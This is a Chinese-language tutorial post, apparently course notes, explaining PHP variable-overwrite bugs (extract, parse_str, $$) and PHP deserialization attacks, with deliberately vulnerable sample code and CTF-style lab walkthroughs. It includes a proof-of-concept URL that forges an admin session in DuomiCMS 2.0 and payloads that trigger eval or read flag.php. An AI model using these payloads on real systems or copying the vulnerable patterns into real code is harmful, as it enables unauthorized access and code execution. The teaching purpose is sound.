8-6变量覆盖

举报
Gere 发表于 2022/12/31 08:28:49 2022/12/31
【摘要】 一、什么是变量覆盖?变量覆盖指的是可以用我们的传参值替换程序原有的变量值怎么去寻找变量覆盖?经常导致变量覆盖漏洞场景有:$$使用不当,extract()函数使用不当,parse_str()函数使用不当import_request_variables()使用不当,开启了全局变量注册等。变量覆盖漏洞有的时候可以直接让我们获取Webshell,拿到服务器的权限一般只能白盒代码审计二、函数解析ext...


一、什么是变量覆盖?

变量覆盖指的是可以用我们的传参值替换程序原有的变量值

怎么去寻找变量覆盖?

经常导致变量覆盖漏洞场景有:$$使用不当,extract()函数使用不当,parse_str()函数使用不当import_request_variables()使用不当,开启了全局变量注册等。

变量覆盖漏洞有的时候可以直接让我们获取Webshell,拿到服务器的权限

一般只能白盒代码审计

二、函数解析

extract()函数

作用:将数组中将变量导入到当前的符号表

例一:

<?php
$a = "1";
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\$a = $a; \$b = $b; \$c = $c";
?>

运行结果:$a = Cat; $b = Dog; $c = Horse

$a因为$my_array = array("a" => "Cat",覆盖成了Cat

例二:

题目:

image-20201104111738291

http://192.168.2.127/1.php?test=1&gift=1得到flag

image-20201104111835314

源码:

<?php
$flag=\'zkaq-niefeng\';
$test=\'zkaq-1950\';
extract($_GET);
if(isset($gift)){
	$cotent=trim($test);
	if($gift==$cotent){
		echo \'flag is:<br />\'.$flag;
	}
}else{
	echo \'error\';
}
?>

1、文件将get方法传输进来的值通过extrace()函数处理。

2、通过两个if语句分别判断是否存在gift变量,和变量gift的值和变量content的值是否相等。变量content的值是通过读取变量test的值获取到的。如果两个变量相等输出flag。如果不相等,输出错误。

例三:

<?php
  $a="echo\'Hello World\';\'";
  extract($_GET);
  eval($a);
?>

http://192.168.2.127/1.php?a=phpinfo();

parse_str()

将查询字符串解析到变量中

<?php
	parse_str("name=zkaq&&age=60");//test=123&gift=123
	echo $name."<br>";
	echo $age;
?>

输出了zkaq和60
那么parse_str("name=Bill&age=60") 相当于完成了$name =\'zkaq\'和$age =\'60\'

那么如果在parse_str中可以直接传参的话,那么是不是也可以覆盖变量呢。

$$引起的变量覆盖

不仅仅是函数会导致变量覆盖,有些特殊符号的特殊搭配也会引起变量覆盖漏洞,比如$$


\[ 导致的变量覆盖问题在CTF代码审计题目中经常在foreach中出现,如以下的示例代码,使用foreach来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的值作为变量的值。因此就产生了变量覆盖漏洞。请求?name=test 会将$name的值覆盖,变为test。 来,我们上一个例题: ```php <?php $a = 1; foreach(array(\'_COOKIE\',\'_POST\',\'_GET\') as $_request) { foreach($$_request as $_key=>$_value) {$$_key=addslashes($_value);}} echo $a; ?> ``` ``` 这个代码会接受我们的GET提交、POST提交、COOKIE参数,将这个接受来的参数依次放入$_request $_key=>$_value 这是个数组解析,实际上就是键值分离 正常而言$a = 1是一个定值,但是因为$$_key的缘故,当我传参a=2;那么$$_key=addslashes($_value);就变为了$a = 2 ``` ## 三、靶场实战 我们靶场使用了多米cms2.0 我们可以使用seay代码审计工具去快速的找到危险函数,这里是变量覆盖的,所以特意自己加了一个匹配$$的规则:([^\$"]|$)\$\{?\$ 在系统配置的规则配置里面可以添加 ![image-20201104142932473](https://img-blog.csdnimg.cn/img_convert/2f9694a18303a8e45286464b54ad4f8c.png) 通过我们的seay审计工具,我们快速的发现了一个存在变量覆盖的地方(duomiphp\common.php文件) ![image-20201104143001350](https://img-blog.csdnimg.cn/img_convert/2685f164b6d8b17e4e1376c94a8b25d7.png) 看一看使用这个变量覆盖需要满足的条件 ![image-20201104143012408](https://img-blog.csdnimg.cn/img_convert/41c9080f78e14944a3d32e02da3509da.png) `1.必须要有传参 2.键名有cfg_和GLOBALS 3.COOKIE传参中有$_k ` 当这三个条件都满足的时候就进入了if分支,然后执行exit然后不往下执行了 我们很明确的知道了,common.php文件存在变量覆盖,那么我们去看下什么文件调用了他 很明显在登录的页面调用了该文件,我们去login.php去看看,这个页面似乎还调用了check.admin.php,我们去看看这个文件 通过看check.admin.php这个文件的备注,就能知道这个文件是控制session的,可以控制权限、id、用户名,那么我们是不是可以通过common.php进行一个伪造session呢? ![image-20201104143117440](https://img-blog.csdnimg.cn/img_convert/f1cdd46cd973073a898233f2a04650ab.png) 通过这里可以设置session值进行赋值来获得权限,groupid是权限的意思,我们全文一搜索,轻松的发现 ![image-20201104143130332](https://img-blog.csdnimg.cn/img_convert/4bf137e894c492821351490bfbfd0244.png) `POC:interface/comment.php?_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_id]=1&_SESSION[duomi_admin_name]=admin` 执行以下链接 `http://59.63.200.79:8010/abc/upload/interface/comment.php?_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_id]=1&_SESSION[duomi_admin_name]=admin` 进入http://59.63.200.79:8010/abc/upload/admin就是管理员账户登录,就能找到flag ![image-20201104143947592](https://img-blog.csdnimg.cn/img_convert/0d5fe3c03a7b1596eeca816e69ec5153.png) [漏洞分析](https://www.freebuf.com/column/188018.html) # 8-7反序列化漏洞 ## 一、什么是反序列化 序列化 (serialize)是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。【将状态信息保存为字符串】 简单的理解:将PHP中 对象、类、数组、变量、匿名函数等,转化为字符串,方便保存到数据库或者文件中 序列化就是将对象的状态信息转为字符串储存起来,那么反序列化就是再将这个状态信息拿出来使用。(重新再转化为对象或者其他的)【将字符串转化为状态信息】 当在php中创建了一个对象后,可以通过serialize()把这个对象转变成一个字符串,保存对象的值方便之后的传递与使用。 ![image-20201104155754649](https://img-blog.csdnimg.cn/img_convert/9878df2c15255fd227cbe5a4731b671d.png) 与 serialize() 对应的,unserialize()可以从已存储的表示中创建PHP的值,单就本次环境而言,可以从序列化后的结果中恢复对象(object) ![image-20201104155829816](https://img-blog.csdnimg.cn/img_convert/39ae89e8c19b750e4bda9a7ded98c8d9.png) ## 二、魔术方法和反序列化利用 本质上serialize()和unserialize()在PHP内部实现上是没有漏洞的,漏洞的主要产生是由于应用程序在处理对象、魔术函数以及序列化相关问题的时候导致的。 当传给 unserialize() 的参数可控时,那么用户就可以注入精心构造的payload。当进行反序列化的时候就有可能会触发对象中的一些魔术方法,造成意想不到的危害。 php中有一类特殊的方法叫“Magic function”(魔术方法), 这里我们着重关注一下几个: ``` __construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。(构造函数) __destruct():当对象被销毁时会自动调用。(析构函数) __wakeup() :如前所提,unserialize()时会自动调用。 ``` ![image-20201104160024116](https://img-blog.csdnimg.cn/img_convert/68480ac9cc6948781e005f5fd17aa019.png) ![image-20201104160029654](https://img-blog.csdnimg.cn/img_convert/90c609ec0f6738061c4f158dd8f60077.png) ### 序列化 ```php <?php //show_source(__FILE__); class chybeta{ var $test="123"; function __construct(){ echo "__construct<br />";//对象创建时会除法 } function __wakeup(){ echo "__wakeup<br />";//使用反序列化函数的时候回触发 } function __destruct(){ echo "__destruct<br />";//对象被销毁的时候会触发 } function zkaq(){ echo "zkaq<br />"; } } $class=new chybeta(); $class->zkaq(); $se=serialize($class); echo $se; echo "<br />"; ?> ``` 结果 ```php __construct //new chybeta()调用__construct zkaq //$class->zkaq(); O:7:"chybeta":1:{s:4:"test";s:3:"123";} //这个为$class序列化的结果 __destruct //销毁chybeta()调用__destruct ``` ### 反序列化 ```php <?php //show_source(__FILE__); class chybeta{ var $test="123"; function __construct(){ echo "__construct<br />";//对象创建时会除法 } function __wakeup(){ echo "__wakeup<br />";//使用反序列化函数的时候回触发 } function __destruct(){ echo "__destruct<br />";//对象被销毁的时候会触发 } function zkaq(){ echo "zkaq<br />"; } } $class2=\'O:7:"chybeta":1:{s:4:"test";s:3:"123";}\'; print_r($class2);//print_r() 函数用于打印变量,以更容易理解的形式展示。 echo "<br />"; $un=unserialize($class2); $un->zkaq(); ?> ``` 结果 ```php O:7:"chybeta":1:{s:4:"test";s:3:"123";}//new chybeta()调用__construct __wakeup//创建$un反序列化初始对象时调用chybeta里的__wakeup zkaq//用创建好的对象调用zkaq() __destruct//销毁chybeta()调用__destruct ``` ### 利用的一种途径 以下是生成代码 ```php <?php class readme{ function __toString(){ eval($this->source); return 1; } } $s=new readme(); $s->source="phpinfo();"; print_r(serialize($s)); ?> ``` 得到readme含有phpinfo();执行的序列化 ```php O:6:"readme":1:{s:6:"source";s:10:"phpinfo();";} ``` 向下面1.php ```php <?php class readme{ function __toString(){ eval($this->source); return "1"; } } if(isset($_GET[\'source\'])){ $s= unserialize($_GET[\'source\']); echo $s; } ?> ``` 传入source的值为前面得到的序列化结果 ``` http://192.168.2.127/1.php?source=O:6:"readme":1:{s:6:"source";s:10:"phpinfo();";} ``` 就能将source的传参进行反序列化,执行phpinfo命令 ## 三、靶场实战 ```php <?php Class readme{ public function __toString(){ return highlight_file(\'Readme.txt\', true).highlight_file($this->source, true); } } $s=new readme(); $s->source="flag.php";//设置$s读取内容 //Readme.txt文件说明flag在flag.php所以这里我们设置 $s=[$s];//将$s变成数组 $s=serialize($s);//将对象$s序列化 $s=md5($s).$s;//前面为序列化结果字符串取md5,后面为序列化后字符串 $s=urlencode($s);//将拼接结果转存URL编码 print_r($s) ?> ``` 在index.php添加一条key为todos,value为上述结果的Cookie,即可得到flag ![image-20201104193037942](https://img-blog.csdnimg.cn/img_convert/aa3c6492ba0082dd8b308338267d7ece.png) 靶场index.php源码 ```php flag in ./flag.php <?php Class readme{ public function __toString() { return highlight_file(\'Readme.txt\', true).highlight_file($this->source, true); } } //readme类声明,里面的__toString是魔术方法,相当于重写toString,能在readme类打印时输出Readme.txt里的内容和source值路径所对应文件的内容 if(isset($_GET[\'source\'])){ $s = new readme(); $s->source = __FILE__; echo $s; exit; } //如果index.php的GET传入source,就显示index.php源码内容 if(isset($_COOKIE[\'todos\'])){ $c = $_COOKIE[\'todos\']; $h = substr($c, 0, 32); $m = substr($c, 32); if(md5($m) === $h){ $todos = unserialize($m); } } //如果COOKIE中存在todos,如果它前面32位为32位后面字符串的md5,就将32位后面字符串反序列化,$todos变成readme类数组 if(isset($_POST[\'text\'])){ $todo = $_POST[\'text\']; $todos[] = $todo; $m = serialize($todos); $h = md5($m); setcookie(\'todos\', $h.$m); header(\'Location: \'.$_SERVER[\'REQUEST_URI\']); exit; } ?> <html> <head> </head> <h1>Readme</h1> <a href="?source"><h2>Check Code</h2></a> <ul> <?php foreach($todos as $todo):?> <li><?=$todo?></li> <?php endforeach;?> </ul> //foreach($todos as $todo)表示遍历$todos数组,每次遍历暂时存贮在$todo //<?=$todo?>这里代表输出变量todo <form method="post" href="."> <textarea name="text"></textarea> <input type="submit" value="store"> </form> ```\]
【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。